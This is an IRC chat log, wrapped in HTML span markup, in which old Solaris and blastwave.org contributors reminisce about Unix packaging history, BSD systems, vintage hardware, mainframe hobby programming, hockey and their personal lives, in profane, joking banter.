</span></span><span style="display:flex;"><span>19:17 < houst0n> anyway...
</span></span><span style="display:flex;"><span>19:18 <@blastwave> well, I was a consultant some days and other days I would lurk in fark alleys and attack small cats
</span></span><span style="display:flex;"><span>19:18 <@blastwave> there is a real market for cat meat in china town
</span></span><span style="display:flex;"><span>19:18 < houst0n> Shit, beacuse of you I once had to pass an actual exam about how to setup solaris 8 as a print server
</span></span><span style="display:flex;"><span>19:18 < houst0n> who the fuck uses solaris as a print server.
</span></span><span style="display:flex;"><span>19:18 <@blastwave> lp
</span></span><span style="display:flex;"><span>19:18 < houst0n> Thanks, btw.
</span></span><span style="display:flex;"><span>19:19 <@blastwave> nroff
</span></span><span style="display:flex;"><span>19:19 <@blastwave> troff
</span></span><span style="display:flex;"><span>19:19 < houst0n> IPP!
</span></span><span style="display:flex;"><span>19:19 <@blastwave> fuk that shit
</span></span><span style="display:flex;"><span>19:19 < gbowne1> heh
</span></span><span style="display:flex;"><span>19:19 <@blastwave> however yes the printing stuff was a big deal for some companies and it more or less worked.
</span></span><span style="display:flex;"><span>19:19 < racingmars> IPP is for hipster idiots. Just slam raw postscript over port 9100 to your printer and be done with it.
</span></span><span style="display:flex;"><span>19:19 < houst0n> Anyway, I'm a proper member of society now. I have paid holidays for the first time since 2010
</span></span><span style="display:flex;"><span>19:19 <@blastwave> postscript is the one true way. yes
</span></span><span style="display:flex;"><span>19:20 < houst0n> And my appendix exploded three weeks ago so I'm currently on leave
</span></span><span style="display:flex;"><span>19:20 < houst0n> 0/10 don't reccommend
</span></span><span style="display:flex;"><span>19:20 <@blastwave> so are you back in Scotland or ?
</span></span><span style="display:flex;"><span>19:20 < houst0n> Nah I'm in Berlin
</span></span><span style="display:flex;"><span>19:20 < houst0n> The UK is fucked we won't be going back anytime soon
</span></span><span style="display:flex;"><span>19:20 <@blastwave> yikes ... the appendix ... nasty. I'm keeping mine. If I worry at all it will be my liver. OKay so .. hold on a sec .. you have a vicious scottish accent and now you speak german ?
</span></span><span style="display:flex;"><span>19:21 < racingmars> You know a country is lost when posting memes is treated as a more serious crime than killing people.
</span></span><span style="display:flex;"><span>19:21 < houst0n> I speak german with a very plain accent, I am told ;)
</span></span><span style="display:flex;"><span>19:21 < houst0n> But all work is in english
</span></span><span style="display:flex;"><span>19:21 <@blastwave> well thanks for that because your english is horrific in the last time I tried to understand it
</span></span><span style="display:flex;"><span>19:21 < houst0n> as far as I can tell, no germans actually work for detusche bank
</span></span><span style="display:flex;"><span>19:22 < houst0n> It's 99% russians
</span></span><span style="display:flex;"><span>19:22 < houst0n> coming from a canadian, blimey.
</span></span><span style="display:flex;"><span>19:22 <@blastwave> other than the appendix you are well? more or less doing reasonable in life and have some sort of a plan ?
</span></span><span style="display:flex;"><span>19:22 <@blastwave> !plan
</span></span><span style="display:flex;"><span>19:22 < hotzenbot> Try: cat /dev/random
</span></span><span style="display:flex;"><span>19:23 < houst0n> Yeah shit is progressing. Bought a house, they're building it now. 800k in the hole empty
</span></span><span style="display:flex;"><span>19:23 < houst0n> Frotunately I'm kinda rich, I guess.
</span></span><span style="display:flex;"><span>19:23 < houst0n> Mrs will take half of it in a decade if we follow the typical plan
</span></span><span style="display:flex;"><span>19:23 < houst0n> lol
</span></span><span style="display:flex;"><span>19:24 <@blastwave> fuck ... those days are behind me. I gave up worry about money a few years ago when I figured I didn't need anymore. At most I want a nice watch but keep fucking up the budget on that. So I just toodle along entertaining myself with some math problems and fucking around with FreeBSD and stuff
</span></span><span style="display:flex;"><span>19:25 < houst0n> I just re-converted all my 'stuff' to freebsd (from open) as my new hardware was 10x faster on freebsd than open
</span></span><span style="display:flex;"><span>19:25 < houst0n> openbsd is so much better, but my god is it a fucking pig sometimes
</span></span><span style="display:flex;"><span>19:25 < houst0n> I really hope they fix the vfs layer and get hammer2 in
</span></span><span style="display:flex;"><span>19:25 < racingmars> Performance is certainly not a priority for OpenBSD.
</span></span><span style="display:flex;"><span>19:25 <@blastwave> there is considerable freedom in saying "fuk it" and just accepting that the basic bills are all that remain and fucking around with computers is a pasttime at most. There are others ( lurking ! ) that are far more deep into the real world than I am. Just ask Matthew or Steve Wills or GB
</span></span><span style="display:flex;"><span>19:26 < houst0n> Well I am an openbsd user, one of about 1000 and it is a priority for me. They won't let me be a developer yet ;)
</span></span><span style="display:flex;"><span>19:26 < racingmars> Yes we were all talking about the real world earlier.
</span></span><span style="display:flex;"><span>19:26 <@blastwave> I have had some strange interactions with the OpenBSD people . so I stay away from it
</span></span><span style="display:flex;"><span>19:26 < racingmars> BTW. This: https://www.ebay.com/itm/387583100456
</span></span><span style="display:flex;"><span>19:26 < racingmars> That's an hour drive away from me.
</span></span><span style="display:flex;"><span>19:26 < houst0n> brb
</span></span><span style="display:flex;"><span>19:27 <@blastwave> racingmars: this "real world" thing you speak of. Are you sure it is real?
</span></span><span style="display:flex;"><span>19:27 < racingmars> I have to keep telling myself I don't need a mainframe-sized brick taking up space in my garage.
</span></span><span style="display:flex;"><span>19:27 <@blastwave> IBM Z10 Mainframe ? da fuk
</span></span><span style="display:flex;"><span>19:27 < racingmars> The main problem would be finding compatible storage. (Well, without selling kidneys, livers, etc.)
</span></span><span style="display:flex;"><span>19:27 <@blastwave> that would be a seriously cool paperweight
</span></span><span style="display:flex;"><span>19:28 < racingmars> Also a compatible virtual tape solution.
</span></span><span style="display:flex;"><span>19:28 < racingmars> so.... I keep telling myself... I don't need a mainframe-sized brick taking up space in my garage.
</span></span><span style="display:flex;"><span>19:29 <@blastwave> no .. you don't. I made the decision to stop buying weird shit about a year ago. The SiFive RISC-V is the last thing I care to spend a nickle on and it is a fucking slow mess
</span></span><span style="display:flex;"><span>19:29 < racingmars> But as you can imagine, there's also a part of me telling myself to rent a truck with a lift gate and show up to that guy's house with $1,500 in cash and take the mainframe lol
</span></span><span style="display:flex;"><span>19:29 < houst0n> Don't do it, that's how you end up as a z/os developer
</span></span><span style="display:flex;"><span>19:29 < houst0n> And those guys are only ever allowed to listen to bach and drive passats
</span></span><span style="display:flex;"><span>19:29 <@blastwave> houst0n: I take computers and nail them to a wall for fun https://www.genunix.com/dclarke/riscv/SiFive_Unmatched_nailed_m.png
</span></span><span style="display:flex;"><span>19:30 < houst0n> Ah there's a throwback
</span></span><span style="display:flex;"><span>19:30 < gbowne1> lots of them on the wall
</span></span><span style="display:flex;"><span>19:30 < racingmars> houst0n: yeah I do mainframe stuff for fun. I've given IBM money for the privilege of their emulator and a copy of z/OS to run on it LOL
</span></span><span style="display:flex;"><span>19:30 < houst0n> No one but we will grok ;)
</span></span><span style="display:flex;"><span>19:30 < racingmars> But mostly it's more fun to play with MVS 3.8 on Hercules and not give IBM money.
</span></span><span style="display:flex;"><span>19:30 < houst0n> I've got some riscv gear, nothing but openbsd works on it tho
</span></span><span style="display:flex;"><span>19:31 <@blastwave> houst0n: with a bit of time I shall be back to my usual normal self https://www.genunix.com/dclarke/seasoned_UNIX_programmer.png
</span></span><span style="display:flex;"><span>19:31 < gbowne1> RISC-V is to be, avoided for now.. too slow.
</span></span><span style="display:flex;"><span>19:31 < houst0n> jesus you've gone full gandalf the white
</span></span><span style="display:flex;"><span>19:31 < hotzenbot> Woow, houst0n!!! You're only the 14th person ever to make a gandalf reference, given that you are so unique why don't ya go to https://paypal.me/genunix?locale.x=en_US and buy me a beer!
</span></span><span style="display:flex;"><span>19:31 < houst0n> lol
</span></span><span style="display:flex;"><span>19:31 < houst0n> my beard is still mostly black
</span></span><span style="display:flex;"><span>19:31 < racingmars> Just last night I wrote a little S/370 assembly program to demonstrate how 3270 screens could be updated without requiring any user interaction because it was a topic that came up in a Discord group among mainframe hobbyists!
</span></span><span style="display:flex;"><span>19:31 < racingmars> Let me put that video somewhere that ISN'T Discord... standby
</span></span><span style="display:flex;"><span>19:31 < houst0n> https://www.linkedin.com/in/neil-houston-77485475/
</span></span><span style="display:flex;"><span>19:32 <@blastwave> houst0n: and strangely ... for reasons I do not comprehend, it seems women hate to be seen in public around me ha ha
</span></span><span style="display:flex;"><span>19:32 < houst0n> That's a plus mate
</span></span><span style="display:flex;"><span>19:32 < houst0n> They're only trouble
</span></span><span style="display:flex;"><span>19:32 < racingmars> Here we go: https://videos.mattwilson.org/filedrop/3270refresh.mp4
</span></span><span style="display:flex;"><span>19:32 < racingmars> Your daily dose of S/370 assembly and MVS supervisor macros.
</span></span><span style="display:flex;"><span>19:32 < houst0n> So is racingmargs on crack or what?
</span></span><span style="display:flex;"><span>19:32 <@blastwave> To watch that ... I do need a glass of whiskey
</span></span><span style="display:flex;"><span>19:32 < gbowne1> this is the one I'm after https://www.ebay.com/itm/256285680047
</span></span><span style="display:flex;"><span>19:32 <@blastwave> houst0n: not on crack. today
</span></span><span style="display:flex;"><span>19:33 < houst0n> s/370 asm what the actual fuck is going on with you man
</span></span><span style="display:flex;"><span>19:33 < houst0n> Why would anyone do that for fun?
</span></span><span style="display:flex;"><span>19:33 <@blastwave> houst0n: seriously, the man is a real professional.
</span></span><span style="display:flex;"><span>19:33 < racingmars> Because it *is* fun!
</span></span><span style="display:flex;"><span>19:33 < houst0n> Jesus. Okay, he's <40
</span></span><span style="display:flex;"><span>19:33 <@blastwave> houst0n: he has a stack of cool YouTube videos also !
</span></span><span style="display:flex;"><span>19:33 < racingmars> I am not under 40, no.
</span></span><span style="display:flex;"><span>19:33 < houst0n> You're >40
</span></span><span style="display:flex;"><span>19:33 < racingmars> Yes, I am over 40
</span></span><span style="display:flex;"><span>19:33 < houst0n> And you write s/370 asm for fun
</span></span><span style="display:flex;"><span>19:34 < racingmars> By a few years, anyway.
</span></span><span style="display:flex;"><span>19:34 <@blastwave> racingmars: what ? there is no fucking way you are over 40
</span></span><span style="display:flex;"><span>19:34 < houst0n> I work with some absolute geeks righg
</span></span><span style="display:flex;"><span>19:34 <@blastwave> racingmars: really ?
</span></span><span style="display:flex;"><span>19:34 < houst0n> right
</span></span><span style="display:flex;"><span>19:34 < gbowne1> https://www.ebay.com/itm/265518759380 can anyone say Maus!
</span></span><span style="display:flex;"><span>19:34 < racingmars> blastwave: 44, yeah.
</span></span><span style="display:flex;"><span>19:34 <@blastwave> racingmars: no
</span></span><span style="display:flex;"><span>19:34 < houst0n> but none of them. NONE OF THEM, are on your level racingmars
</span></span><span style="display:flex;"><span>19:34 <@blastwave> jezas you won the genetic lottary man
</span></span><span style="display:flex;"><span>19:35 < houst0n> In my spare time, I want my computers to fuck off
</span></span><span style="display:flex;"><span>19:35 <@blastwave> --> Matthew --> https://www.genunix.com/dclarke/toronto/matthew_basketball_m.png
</span></span><span style="display:flex;"><span>19:35 < houst0n> I would only have an ipad if i could
</span></span><span style="display:flex;"><span>19:35 <@blastwave> houst0n: he stole my umbrella https://www.genunix.com/dclarke/toronto/prison_cafeteria_m.png
</span></span><span style="display:flex;"><span>19:36 < gbowne1> I'm on the lighter side of being a quinquagenarian
</span></span><span style="display:flex;"><span>19:36 < houst0n> Anyway, I am going to come to canada sometime
</span></span><span style="display:flex;"><span>19:36 < racingmars> I do boring Linux stuff for $dayjob (actually, sometimes it's interesting, but you know... dayjob). This kind of random crazy geeky stuff is how I keep my passion for computers alive LOL
</span></span><span style="display:flex;"><span>19:36 <@blastwave> the umbrella I had for almost thirty years and I bet it is somewhere in that hotel
</span></span><span style="display:flex;"><span>19:36 < houst0n> Boring linux stuff describes 80% of ops
</span></span><span style="display:flex;"><span>19:37 <@blastwave> I have only two machines left running linux. one of them is slackware because I was tazered and the other is Devuan Linux and it only is a front end machine doing not much
</span></span><span style="display:flex;"><span>19:37 < houst0n> So I got this $$megajob at the bank right
</span></span><span style="display:flex;"><span>19:37 <@blastwave> houst0n: I still have a Fujitsu SPARC64 running !
</span></span><span style="display:flex;"><span>19:37 < gbowne1> I do mostly metal stuff for work.. but always have some sort of plan going.. besides tazering people with ideas.
</span></span><span style="display:flex;"><span>19:38 < racingmars> blastwave: do we still have gentoo on a G5 or SPARC or something or did that just keep killing hardware?
</span></span><span style="display:flex;"><span>19:38 < houst0n> How long do you think it took them to get the terraform run which grants my github access to the org to work?
</span></span><span style="display:flex;"><span>19:38 < houst0n> And I'm coming in as a tech lead, VP level, six figures
</span></span><span style="display:flex;"><span>19:38 <@blastwave> oberon$ uname -a
</span></span><span style="display:flex;"><span>19:38 <@blastwave> Linux oberon 6.6.58-genunix #1 SMP Tue Oct 29 09:20:10 GMT 2024 x86_64 GNU/Linux
</span></span><span style="display:flex;"><span>19:38 <@blastwave> oberon$ uptime 22:38:22 up 24 days, 12:31, 37 users, load average: 0.14, 0.32, 0.32
</span></span><span style="display:flex;"><span>19:38 <@blastwave> oberon$
</span></span><span style="display:flex;"><span>19:38 <@blastwave> the gentoo linux on sparcv9 is running jsut fine
</span></span><span style="display:flex;"><span>19:38 < gbowne1> whot? https://www.ebay.com/itm/186172750691
</span></span><span style="display:flex;"><span>19:38 < racingmars> blastwave: that's one of the Netra T1s, right? Good stuff.
</span></span><span style="display:flex;"><span>19:38 < houst0n> Sure looks like a x86_64 machine to me
</span></span><span style="display:flex;"><span>19:39 <@blastwave> racingmars: the PowerMac G5's both burst into flames a few years ago. Gentoo killed them all
</span></span><span style="display:flex;"><span>19:39 < gbowne1> Gentoo tends to do that
</span></span><span style="display:flex;"><span>19:39 < houst0n> What happened to fossil?
</span></span><span style="display:flex;"><span>19:39 <@blastwave> racingmars: yeah ... old little netra. indestructable
</span></span><span style="display:flex;"><span>19:39 < houst0n> Fossil was my favourite
</span></span><span style="display:flex;"><span>19:39 <@blastwave> fossil is here
</span></span><span style="display:flex;"><span>19:39 <@blastwave> I still have it
</span></span><span style="display:flex;"><span>19:39 < houst0n> Aww. Put it by the fire this xmas
</span></span><span style="display:flex;"><span>19:39 < houst0n> Pour it a dra
</span></span><span style="display:flex;"><span>19:39 < houst0n> dram
</span></span><span style="display:flex;"><span>19:39 <@blastwave> the Sparc20
</span></span><span style="display:flex;"><span>19:40 < houst0n> aye real sun4u
</span></span><span style="display:flex;"><span>19:40 <@blastwave> that machine did an AMAZING amount of work and tens of thousands of people were affected by it. That is likely a gross underestimate
</span></span><span style="display:flex;"><span>19:40 <@blastwave> remember when PlayBoy.com ran a mirror site for us ?
</span></span><span style="display:flex;"><span>19:40 < houst0n> I made it shit itself for at least two weeks once
</span></span><span style="display:flex;"><span>19:41 < houst0n> KDE4 on solaris 8, lunatics
</span></span><span style="display:flex;"><span>19:41 <@blastwave> bat shit crazy ... and it worked !!
</span></span><span style="display:flex;"><span>19:41 < houst0n> I miss those days, it was so easy
</span></span><span style="display:flex;"><span>19:41 < houst0n> Ach well. Now we have k8s
</span></span><span style="display:flex;"><span>19:41 <@blastwave> pretty sure it was KDE3 complete with all the fun games
</span></span><span style="display:flex;"><span>19:42 < houst0n> I remember spending like 4 months porting kde4 to solaris 10
</span></span><span style="display:flex;"><span>19:42 <@blastwave> that is ... at least . twenty years now ?
</span></span><span style="display:flex;"><span>19:42 < houst0n> and then this indian professor wrote a blog post about how he did it in a weekend
</span></span><span style="display:flex;"><span>19:42 < houst0n> the belenix guy
</span></span><span style="display:flex;"><span>19:42 < houst0n> lol
</span></span><span style="display:flex;"><span>19:42 <@blastwave> oh right
</span></span><span style="display:flex;"><span>19:42 <@blastwave> well belenix was pretty fucking vool actually
</span></span><span style="display:flex;"><span>19:42 < houst0n> fucking died. lol
</span></span><span style="display:flex;"><span>19:42 < houst0n> totalyl cool
</span></span><span style="display:flex;"><span>19:42 < houst0n> I was in awe
</span></span><span style="display:flex;"><span>19:43 <@blastwave> well he did it on fast UltraSPARC and not on a 32-bit sun4m machine
</span></span><span style="display:flex;"><span>19:43 < houst0n> Nah it was all x86
</span></span><span style="display:flex;"><span>19:43 < houst0n> Not in some office in rotterdam
</span></span><span style="display:flex;"><span>19:43 < houst0n> ;)
</span></span><span style="display:flex;"><span>19:43 < houst0n> Heard from remko?
</span></span><span style="display:flex;"><span>19:43 <@blastwave> oh .. right ... there never was a sparc variation of belenix
</span></span><span style="display:flex;"><span>19:44 < houst0n> He's pretty much doing the same, I'm kinda jelous of him. His company didnt' grow or shrink, he has a few customers and they write code for them
</span></span><span style="display:flex;"><span>19:44 < houst0n> and it's enough
</span></span><span style="display:flex;"><span>19:44 <@blastwave> yeah ... no ... never heard from him or many people. Larry rally killed everything and lets face it ... you can not go back
</span></span><span style="display:flex;"><span>19:44 < houst0n> I owe him at least as much as I owe you ;)
</span></span><span style="display:flex;"><span>19:45 <@blastwave> hey .... every now and again speak well of me and that is all
</span></span><span style="display:flex;"><span>19:45 < houst0n> Shit I was working as cleaner in a hospital when you gave me commit rights >_<
</span></span><span style="display:flex;"><span>19:45 < houst0n> Anyway
</span></span><span style="display:flex;"><span>19:45 < houst0n> Ancient history
</span></span><span style="display:flex;"><span>19:45 < houst0n> I dunno if that exists anymore
</span></span><span style="display:flex;"><span>19:45 < houst0n> That kinda ... path
</span></span><span style="display:flex;"><span>19:46 < houst0n> I couldn't hire 'old me'
</span></span><span style="display:flex;"><span>19:46 < houst0n> Nah that's not true, I probably could
</span></span><span style="display:flex;"><span>19:46 < gbowne1> larry does that
</span></span><span style="display:flex;"><span>19:46 < houst0n> Larry? ellison?
</span></span><span style="display:flex;"><span>19:46 < houst0n> Wall?
</span></span><span style="display:flex;"><span>19:46 <@blastwave> yep .... a lot of climbing and fighting out of a dark hole to get that stuff off the ground. I think I sold every damn thing I had to get the systems and keep them running for months . then next thing ya know JPL and Oxford university send my a support contract document and five hundred dollars
</span></span><span style="display:flex;"><span>19:46 < MarianG> greetings
</span></span><span style="display:flex;"><span>19:47 < houst0n> Shit I remember jumping from initworks to london, I got paid a massive 50k
</span></span><span style="display:flex;"><span>19:47 < houst0n> I've had 50k months in the last few years heh
</span></span><span style="display:flex;"><span>19:48 <@blastwave> it was a fucking strange time to be running systems in a basement and then Sun flies their execs to Toronto and I have coffee with them in a fucking tim Hortons. it was all I had.
</span></span><span style="display:flex;"><span>19:48 < houst0n> Ponytail. I'll never forgive him.
</span></span><span style="display:flex;"><span>19:48 <@blastwave> lets just say .. we did good stuff and yeah .. then a lot of bad shit happened
</span></span><span style="display:flex;"><span>19:48 <@blastwave> the schwarts
</span></span><span style="display:flex;"><span>19:48 <@blastwave> that idiot
</span></span><span style="display:flex;"><span>19:48 < houst0n> What's going on with "openCSW" these days
</span></span><span style="display:flex;"><span>19:48 <@blastwave> who fucking cares !
</span></span><span style="display:flex;"><span>19:48 < houst0n> lol
</span></span><span style="display:flex;"><span>19:48 <@blastwave> jihad !
</span></span><span style="display:flex;"><span>19:49 < houst0n> come on, gossip
</span></span><span style="display:flex;"><span>19:49 <@blastwave> I really don't give a fuck anymore
</span></span><span style="display:flex;"><span>19:49 < houst0n> their site is still up, they're still serving SVR4's
</span></span><span style="display:flex;"><span>19:49 <@blastwave> there is great freedom in dropping something and moving onwards
</span></span><span style="display:flex;"><span>19:49 < houst0n> How did blastwave.org die in the end? I wasn't around for it
</span></span><span style="display:flex;"><span>19:50 < houst0n> We (initworks) slowly faded off
</span></span><span style="display:flex;"><span>19:50 <@blastwave> Oracle legal sent out letters and demand notices. They nuked a pile of projects
</span></span><span style="display:flex;"><span>19:50 < houst0n> I guess Jo Blanchard dude, got kinda fucked off
</span></span><span style="display:flex;"><span>19:51 <@blastwave> I told them to go fuck themselves but to be fairm Larry had already fucked everyone with the OpenSolaris project and just endless people were kicked to the curb as if we never existed
</span></span><span style="display:flex;"><span>19:51 < houst0n> I liked him, actually. But he was really naieve
</span></span><span style="display:flex;"><span>19:52 < houst0n> It takes a particular kind of person to write a package manger in perl that works on every version of solarsi going back to 5.2.1
</span></span><span style="display:flex;"><span>19:52 < houst0n> messy exit tho heh
</span></span><span style="display:flex;"><span>19:52 <@blastwave> I think the guy that really ended up losing badly was good ol Phil Brown who got told a sad story and broght over to the OpenCSW people who picked his brains and then ripped everything out of the blastwave servers in one night. Phil had total root level access. then they kicked him to the curb as soon as they got what they wanted
</span></span><span style="display:flex;"><span>19:52 <@blastwave> a LOT of people lost everything
</span></span><span style="display:flex;"><span>19:53 < houst0n> Man looking back it's mental how we worked. One jenkins server would have owned the world
</span></span><span style="display:flex;"><span>19:53 <@blastwave> indeed ...
</span></span><span style="display:flex;"><span>19:54 < houst0n> So you're still living around toronto? Still got a wife or are you a free agent?
</span></span><span style="display:flex;"><span>19:54 <@blastwave> we did it manually, piece by piece and line by line night after night and then whammo ... no one had seen stuff like that for the Solaris userbase. so yeah .. we did already man
</span></span><span style="display:flex;"><span>19:55 < houst0n> I will come and visit you, I made an oath. One of these days....
</span></span><span style="display:flex;"><span>19:55 <@blastwave> divorce was years ago. recall I said that a lot of people lost everything? well 2008 was a shitshow in finances and then 2012 was even worse. I gave her the house and moved on down to road and lived at the office in Toronto for 2 years
</span></span><span style="display:flex;"><span>19:55 <@blastwave> houst0n: one of these days
</span></span><span style="display:flex;"><span>19:56 < houst0n> Yeah they always get the house
</span></span><span style="display:flex;"><span>19:56 <@blastwave> well, I saw that coming and just did what needed to be done. I could always make money.
</span></span><span style="display:flex;"><span>19:56 < houst0n> "Oh, you paid the mortage entirely by yourself,3k a month for 20 years?"
</span></span><span style="display:flex;"><span>19:56 < houst0n> LOLNOPE
</span></span><span style="display:flex;"><span>19:57 < houst0n> This fucking bit of paper you signed at the beginning
</span></span><span style="display:flex;"><span>19:57 < houst0n> means that it's 50% hers
</span></span><span style="display:flex;"><span>19:57 <@blastwave> lets not tell sad stories. We did way too many good things for many many people and that is the truth of it.
</span></span><span style="display:flex;"><span>19:57 < houst0n> Shit I don't even care if my mrs takes the house
</span></span><span style="display:flex;"><span>19:57 < houst0n> I'll be happy to be rid of it
</span></span><span style="display:flex;"><span>19:57 < houst0n> and it's not even built
</span></span><span style="display:flex;"><span>19:57 < houst0n> lol
</span></span><span style="display:flex;"><span>19:58 <@blastwave> I am well settled and well set. No need to give too many fucks anymore about much of anything
</span></span><span style="display:flex;"><span>19:58 < houst0n> Ach well. If one were to come and see you though, you would be in the toronto region?
</span></span><span style="display:flex;"><span>19:58 < houst0n> Or have you moved?
</span></span><span style="display:flex;"><span>19:59 <@blastwave> also ... I can barely write code of any value anymore. Yeah ... still in Toronto region. On the west side. However I would just make it a proper dinner and such in Toronto and that would be fine.
</span></span><span style="display:flex;"><span>19:59 < houst0n> It's the maple leafs?
</span></span><span style="display:flex;"><span>19:59 <@blastwave> oh fuk them
</span></span><span style="display:flex;"><span>19:59 <@blastwave> losers
</span></span><span style="display:flex;"><span>19:59 < houst0n> Fucks sake man we couldnt' code for shit anyway
</span></span><span style="display:flex;"><span>19:59 < houst0n> That's not our purpose
</span></span><span style="display:flex;"><span>20:00 < hotzenbot> TIME: London 23:00, Paris 00:00, Kyiv: 01:00, Perth 07:00, Brisbane 09:00, Auckland 12:00, Irvine 15:00, Toronto 18:00
</span></span><span style="display:flex;"><span>20:00 < houst0n> we are engineers! We fuck existing code into functionality
</span></span><span style="display:flex;"><span>20:00 <@blastwave> The Toronto Maple Laughs have been losers since 1967 with only a brief flash of light in an otherwise dark tunnel many years ago in the '90s
</span></span><span style="display:flex;"><span>20:00 < houst0n> So what?
</span></span><span style="display:flex;"><span>20:00 < houst0n> I'm scottish, we lost at rugby my entire life
</span></span><span style="display:flex;"><span>20:00 < houst0n> I still support em
</span></span><span style="display:flex;"><span>20:00 <@blastwave> "We fuck existing code into functionality" <-- wow .... yes ! Thank you for saying that !!
</span></span><span style="display:flex;"><span>20:00 < houst0n> Says retired grandad
</span></span><span style="display:flex;"><span>20:01 < houst0n> Bitch I've got 20 years to go
</span></span><span style="display:flex;"><span>20:01 <@blastwave> yeah but the Leafs are a shit ton of money to get tickets for and then they lose. fuck that shit. Better to go to Montreal and see a team that wins
</span></span><span style="display:flex;"><span>20:01 < houst0n> That's an american thing
</span></span><span style="display:flex;"><span>20:01 < houst0n> only worth watching if they win
</span></span><span style="display:flex;"><span>20:01 < houst0n> don't be a bitch
</span></span><span style="display:flex;"><span>20:02 < gbowne1> we have this shit team https://www.nhl.com/kraken/
</span></span><span style="display:flex;"><span>20:02 <@blastwave> Yes but ... listen! The Maple Leafs have not been near a Stanley cup since 1967! That is over half a century !
</span></span><span style="display:flex;"><span>20:02 < houst0n> The kraken have flury tho
</span></span><span style="display:flex;"><span>20:02 < houst0n> don't they?
</span></span><span style="display:flex;"><span>20:02 < gbowne1> nah we dont have shit.. I'm a Bruins fan
</span></span><span style="display:flex;"><span>20:02 <@blastwave> I am a big hockey fan but ... being Canadian I do want to see a few wins from time to time.
</span></span><span style="display:flex;"><span>20:02 < houst0n> There are bars older than canada in my street
</span></span><span style="display:flex;"><span>20:02 < gbowne1> and nobody even knows skating or hockey here not even the lil ones
</span></span><span style="display:flex;"><span>20:03 < gbowne1> the one on my street predates Prohibition
</span></span><span style="display:flex;"><span>20:03 < houst0n> I'm totally passive on the NHL. I met an american in australia around the time I met my mrs and he was some san jose, so was into the sharks
</span></span><span style="display:flex;"><span>20:04 < houst0n> and he listed some teams and I liked penguin being an OSS guy
</span></span><span style="display:flex;"><span>20:04 < houst0n> And a decade later, I still like the pens
</span></span><span style="display:flex;"><span>20:04 <@blastwave> houst0n: well true. so if you get to Toronto some day/month/year then we can drink at a place called the WheatSheaf on King Street. that thing predates Canada also
</span></span><span style="display:flex;"><span>20:05 < houst0n> Bitch if I go all the fucking way to canada it's only to meet you and we're doing more than a bar
</span></span><span style="display:flex;"><span>20:05 <@blastwave> the only teams I follow are the Bruins, the Bla2ck Hawks, Toronto fucking loser Leafs, and New York Rangers.
</span></span><span style="display:flex;"><span>20:05 <@blastwave> maybe one or two others ... the Oilers are still new
</span></span><span style="display:flex;"><span>20:05 < houst0n> Rangers are my 2nd
</span></span><span style="display:flex;"><span>20:05 < gbowne1> I've always been a Bruins fan
</span></span><span style="display:flex;"><span>20:05 <@blastwave> okay a bar and a hockey game
</span></span><span style="display:flex;"><span>20:06 <@blastwave> and maybe the Toronto Symphony Orchestra to satisfy my educated classical self
</span></span><span style="display:flex;"><span>20:06 < houst0n> I once had a job where I had to go from london to NYC
</span></span><span style="display:flex;"><span>20:06 <@blastwave> hell, there may even be women
</span></span><span style="display:flex;"><span>20:06 < houst0n> To install some kinda 1U proxy server
</span></span><span style="display:flex;"><span>20:06 < houst0n> lol it was mental
</span></span><span style="display:flex;"><span>20:07 < houst0n> anyway, I want to NYC and they put me up in the big boss apartment
</span></span><span style="display:flex;"><span>20:07 <@blastwave> so other than an appendix you are doing fine ?
</span></span><span style="display:flex;"><span>20:07 < houst0n> So I had a flat on ludlow, roof terrace
</span></span><span style="display:flex;"><span>20:07 <@blastwave> https://en.wikipedia.org/wiki/Ludlow
</span></span><span style="display:flex;"><span>20:07 < houst0n> And I went to the bar nearby and watched a rangers game
</span></span><span style="display:flex;"><span>20:07 <@blastwave> I had to look that up
</span></span><span style="display:flex;"><span>20:08 < houst0n> Anyway, yes I'm good dude
</span></span><span style="display:flex;"><span>20:08 <@blastwave> alrighty then.... that is all that matters
</span></span><span style="display:flex;"><span>20:08 < houst0n> I'm going to bed now tho
</span></span><span style="display:flex;"><span>20:08 -!- SlaynAndKorpil [[email protected]] has joined #blastwave
</span></span><span style="display:flex;"><span>20:08 < houst0n> So, ciao. Probably... Talk again in a year?
</span></span><span style="display:flex;"><span>20:09 <@blastwave> well have a wee glass of scotch or something and just know that Dennis M. Clarke of the old old days respects you more than you know
</span></span><span style="display:flex;"><span>20:09 < houst0n> Pfft, like I give a fuck. Come here and see the sights!
</span></span><span style="display:flex;"><span>20:10 < houst0n> Berlin would blow your mind. There are bars that don't open til 1am and you need arseless trousers to even imagine getting in
</span></span><span style="display:flex;"><span>20:10 <@blastwave> between us and maybe a dozen others in the bitter end we did great things. I have been planning a trip to Europe for a long time. However I have to make choices ya know? Also ... this getting old thing, it really kicks in
</span></span><span style="display:flex;"><span>20:10 < houst0n> Well, I have a line to remko and martijn
</span></span><span style="display:flex;"><span>20:11 < houst0n> They don't hate me at least
</span></span><span style="display:flex;"><span>20:11 <@blastwave> so to be really honest I move slow and think slow and drink slow and all very very steady and this is well with me
</span></span><span style="display:flex;"><span>20:11 <@blastwave> They were good people. Never had a problem with remko and his ego !! ha ha
</span></span><span style="display:flex;"><span>20:11 <@blastwave> that was long ago
</span></span><span style="display:flex;"><span>20:11 < houst0n> remko is a dickhead
</span></span><span style="display:flex;"><span>20:11 < houst0n> but a smart one
</span></span><span style="display:flex;"><span>20:11 <@blastwave> ^ yep
</span></span><span style="display:flex;"><span>20:11 < houst0n> and I owe him
</span></span><span style="display:flex;"><span>20:12 < houst0n> he paid me to do bastwave shit
</span></span><span style="display:flex;"><span>20:12 <@blastwave> that too ... as I say ... in the bitter end it was a few people doing crazy good stuff
</span></span><span style="display:flex;"><span>20:12 < houst0n> so you owe him too
</span></span><span style="display:flex;"><span>20:12 < houst0n> anyway
</span></span><span style="display:flex;"><span>20:12 <@blastwave> well holy fuck ... now you tell me ?
</span></span><span style="display:flex;"><span>20:12 <@blastwave> you wait twenty years to drop that on me !! ha ha
</span></span><span style="display:flex;"><span>20:12 < houst0n> I'm sorry to pollute your twitch fanclub with nonsense
</span></span><span style="display:flex;"><span>20:12 < houst0n> I'll fuck off for a few months
</span></span><span style="display:flex;"><span>20:12 < houst0n> :P
</span></span><span style="display:flex;"><span>20:13 <@blastwave> twitch fanclub. it is a drinking club lately
</span></span><span style="display:flex;"><span>20:13 <@blastwave> drop an email fer fucks sake
</span></span><span style="display:flex;"><span>20:13 <@blastwave> it isn't like my email addr changes much ya know
</span></span><span style="display:flex;"><span>20:13 < houst0n> I swear there was a guy here earlier who said he's a paid prolog dev
</span></span><span style="display:flex;"><span>20:14 < houst0n> and refused to even mention industry
